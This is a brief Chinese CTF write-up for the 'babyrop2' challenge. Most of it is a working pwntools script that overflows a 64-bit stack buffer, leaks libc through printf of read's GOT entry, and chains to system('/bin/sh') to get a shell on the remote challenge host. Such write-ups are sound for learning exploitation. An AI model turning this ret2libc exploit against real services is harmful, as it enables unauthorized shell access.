babyrop2

本题checksec下是64位栈溢出

还是先进行地址泄露在构建rop链
思路跟之前做的libc泄露一样

唯一比较坑的是打通之后找不到flag 结果找不到 看了大佬的文章才知道是藏在文件中了

from pwn import *
from LibcSearcher import *

#p = process('./babyrop2')
p = remote('node3.buuoj.cn',27575)
elf = ELF('babyrop2')

pop_rdi = 0x400733
pop_rsi_r15 = 0x400731 
format_str = 0x400770  
ret_addr = 0x400734

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)

p.sendline(payload)


read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))#接收地址的你看看基本上是7个字节的，7f开头，补全8个字节

libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')

sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()